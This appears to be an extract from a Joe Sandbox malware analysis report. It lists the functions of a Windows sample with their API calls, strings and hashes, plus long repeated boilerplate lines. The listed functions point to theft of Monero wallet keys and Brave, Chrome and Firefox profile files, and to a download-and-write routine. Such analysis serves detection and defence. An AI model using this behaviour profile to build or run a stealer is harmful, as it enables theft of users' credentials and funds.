Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: ac7d9e3f302d92336bf1e2233eded9cc15380300908bd08979cd2c2bedb78cac
Instruction ID: 0de3003b6c22c28ce4c3b627fc6819097dad7ebeea75782b7d274dddf6c66a8c
Opcode Fuzzy Hash: ac7d9e3f302d92336bf1e2233eded9cc15380300908bd08979cd2c2bedb78cac
Instruction Fuzzy Hash: B04144606C66DCBEE634BBA59C66E9F77E2DF4AF0CF605044E80052690CFB0B581E523

Function 00FCBE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00FDA740: lstrcpy.KERNEL32(00FE0E17,00000000), ref: 00FDA788

Part of subcall function 00FDA920: lstrcpy.KERNEL32(00000000,?), ref: 00FDA972
Part of subcall function 00FDA920: lstrcat.KERNEL32(00000000), ref: 00FDA982

Part of subcall function 00FDA9B0: lstrlen.KERNEL32(?,007B8F98,?,\Monero\wallet.keys,00FE0E17), ref: 00FDA9C5
Part of subcall function 00FDA9B0: lstrcpy.KERNEL32(00000000), ref: 00FDAA04
Part of subcall function 00FDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FDAA12

Part of subcall function 00FDA8A0: lstrcpy.KERNEL32(?,00FE0E17), ref: 00FDA905

FindFirstFileA.KERNEL32(00000000,?,00FE0B32,00FE0B2B,00000000,?,?,?,00FE13F4,00FE0B2A), ref: 00FCBEF5
StrCmpCA.SHLWAPI(?,00FE13F8), ref: 00FCBF4D
StrCmpCA.SHLWAPI(?,00FE13FC), ref: 00FCBF63
FindNextFileA.KERNELBASE(000000FF,?), ref: 00FCC7BF
FindClose.KERNEL32(000000FF), ref: 00FCC7D1

Strings

\Brave\Preferences, xrefs: 00FCC1DB
Brave, xrefs: 00FCC102
Google Chrome, xrefs: 00FCC634
Preferences, xrefs: 00FCC11E

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 2036fb01db81a66f03debc12a924ebab7d1d308bce723bce4038a7956ab56593
Instruction ID: 1106b7417904655509d3be14fdddd0e45b01474e9da0c70b7fdaaac587ea840d
Opcode Fuzzy Hash: 2036fb01db81a66f03debc12a924ebab7d1d308bce723bce4038a7956ab56593
Instruction Fuzzy Hash: 2C4264729101089BCB14FB70DD96EED733EAF94300F444559F90A97281EF389B49EBA6

Function 00FD4910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00FD492C
FindFirstFileA.KERNEL32(?,?), ref: 00FD4943
StrCmpCA.SHLWAPI(?,00FE0FDC), ref: 00FD4971
StrCmpCA.SHLWAPI(?,00FE0FE0), ref: 00FD4987
FindNextFileA.KERNEL32(000000FF,?), ref: 00FD4B7D
FindClose.KERNEL32(000000FF), ref: 00FD4B92

Strings

%s\%s, xrefs: 00FD49FB
%s\%s, xrefs: 00FD49A4
%s\*, xrefs: 00FD4920

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 439ba60e9f774a472352b86770dc3f1d233d46952a4fe3695148319e7145696b
Instruction ID: 33cebae8bb0da5a3873fc9ad96c7a854854c116a0f61714c0e72b37a3c09ac2a
Opcode Fuzzy Hash: 439ba60e9f774a472352b86770dc3f1d233d46952a4fe3695148319e7145696b
Instruction Fuzzy Hash: EB616672900218ABCB35EBA0EC49FEA737CFB48700F448689B50996145EB75EB85DF91

Function 00FD3EA0 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00FD3EC3
FindFirstFileA.KERNEL32(?,?), ref: 00FD3EDA
StrCmpCA.SHLWAPI(?,00FE0FAC), ref: 00FD3F08
StrCmpCA.SHLWAPI(?,00FE0FB0), ref: 00FD3F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 00FD406C
FindClose.KERNEL32(000000FF), ref: 00FD4081

Strings

%s\%s, xrefs: 00FD3EB7
H{, xrefs: 00FD3F62

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$H{
API String ID: 180737720-1532918958
Opcode ID: ada40a57effa3a43c2e05af32464fba7954f6d29a7a2f1d479883382fa2eae53
Instruction ID: 5d9db80a8f9fb88f32ff1f869eb7efe988ecaf89d7253922e33f299872447283
Opcode Fuzzy Hash: ada40a57effa3a43c2e05af32464fba7954f6d29a7a2f1d479883382fa2eae53
Instruction Fuzzy Hash: 5651A5B6900218ABCB35FBB0DC89EEE737DBB44300F444689B25993141DB75EB859F91

Function 00FC60A0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00FDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FDA7E6

Part of subcall function 00FC47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00FC4839
Part of subcall function 00FC47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00FC4849

InternetOpenA.WININET(00FE0DF7,00000001,00000000,00000000,00000000), ref: 00FC610F
StrCmpCA.SHLWAPI(?,007BE838), ref: 00FC6147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 00FC618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00FC61B3
InternetReadFile.WININET(?,?,00000400,?), ref: 00FC61DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00FC620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00FC6249
InternetCloseHandle.WININET(?), ref: 00FC6253
InternetCloseHandle.WININET(00000000), ref: 00FC6260

Strings

8{, xrefs: 00FC6139

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID: 8{
API String ID: 2507841554-2177995864
Opcode ID: 579e873115fa948818c5b16942e20e323f6311d6d2c54f9567caa08fc7fd502b
Instruction ID: 09267e1636f3e51377453ec0ffc12c90efd991a89de98117e5d19dff8140cffb
Opcode Fuzzy Hash: 579e873115fa948818c5b16942e20e323f6311d6d2c54f9567caa08fc7fd502b
Instruction Fuzzy Hash: F251AFB1900209ABDF20DF50DD4AFEE77B8EB44701F008198B606A71C1DB746A85EF95

Function 00FCF6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00FDA740: lstrcpy.KERNEL32(00FE0E17,00000000), ref: 00FDA788

Part of subcall function 00FDA920: lstrcpy.KERNEL32(00000000,?), ref: 00FDA972
Part of subcall function 00FDA920: lstrcat.KERNEL32(00000000), ref: 00FDA982

Part of subcall function 00FDA9B0: lstrlen.KERNEL32(?,007B8F98,?,\Monero\wallet.keys,00FE0E17), ref: 00FDA9C5
Part of subcall function 00FDA9B0: lstrcpy.KERNEL32(00000000), ref: 00FDAA04
Part of subcall function 00FDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FDAA12

Part of subcall function 00FDA8A0: lstrcpy.KERNEL32(?,00FE0E17), ref: 00FDA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00FE15B8,00FE0D96), ref: 00FCF71E
StrCmpCA.SHLWAPI(?,00FE15BC), ref: 00FCF76F
StrCmpCA.SHLWAPI(?,00FE15C0), ref: 00FCF785
FindNextFileA.KERNELBASE(000000FF,?), ref: 00FCFAB1
FindClose.KERNEL32(000000FF), ref: 00FCFAC3

Strings

prefs.js, xrefs: 00FCF812

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 5d43bea15401768f202b527ec3c244b54a9dc5b6618e0f6da01b8e543d4f48e7
Instruction ID: 5d0c1a018c166882bacf8f3ba48f661bb2220fc0388a814b2946b7f94f60cd4d
Opcode Fuzzy Hash: 5d43bea15401768f202b527ec3c244b54a9dc5b6618e0f6da01b8e543d4f48e7
Instruction Fuzzy Hash: DFB179719001099BCB24FF60DD96FED737AAF54300F4485A9E80A97281EF349B49EF96

Function 00FC16D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00FDA740: lstrcpy.KERNEL32(00FE0E17,00000000), ref: 00FDA788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00FE510C,?,?,?,00FE51B4,?,?,00000000,?,00000000), ref: 00FC1923
StrCmpCA.SHLWAPI(?,00FE525C), ref: 00FC1973
StrCmpCA.SHLWAPI(?,00FE5304), ref: 00FC1989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00FC1D40
DeleteFileA.KERNEL32(00000000), ref: 00FC1DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00FC1E20
FindClose.KERNEL32(000000FF), ref: 00FC1E32

Part of subcall function 00FDA920: lstrcpy.KERNEL32(00000000,?), ref: 00FDA972
Part of subcall function 00FDA920: lstrcat.KERNEL32(00000000), ref: 00FDA982

Part of subcall function 00FDA9B0: lstrlen.KERNEL32(?,007B8F98,?,\Monero\wallet.keys,00FE0E17), ref: 00FDA9C5
Part of subcall function 00FDA9B0: lstrcpy.KERNEL32(00000000), ref: 00FDAA04
Part of subcall function 00FDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FDAA12

Part of subcall function 00FDA8A0: lstrcpy.KERNEL32(?,00FE0E17), ref: 00FDA905

Strings

\*.*, xrefs: 00FC17F1

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
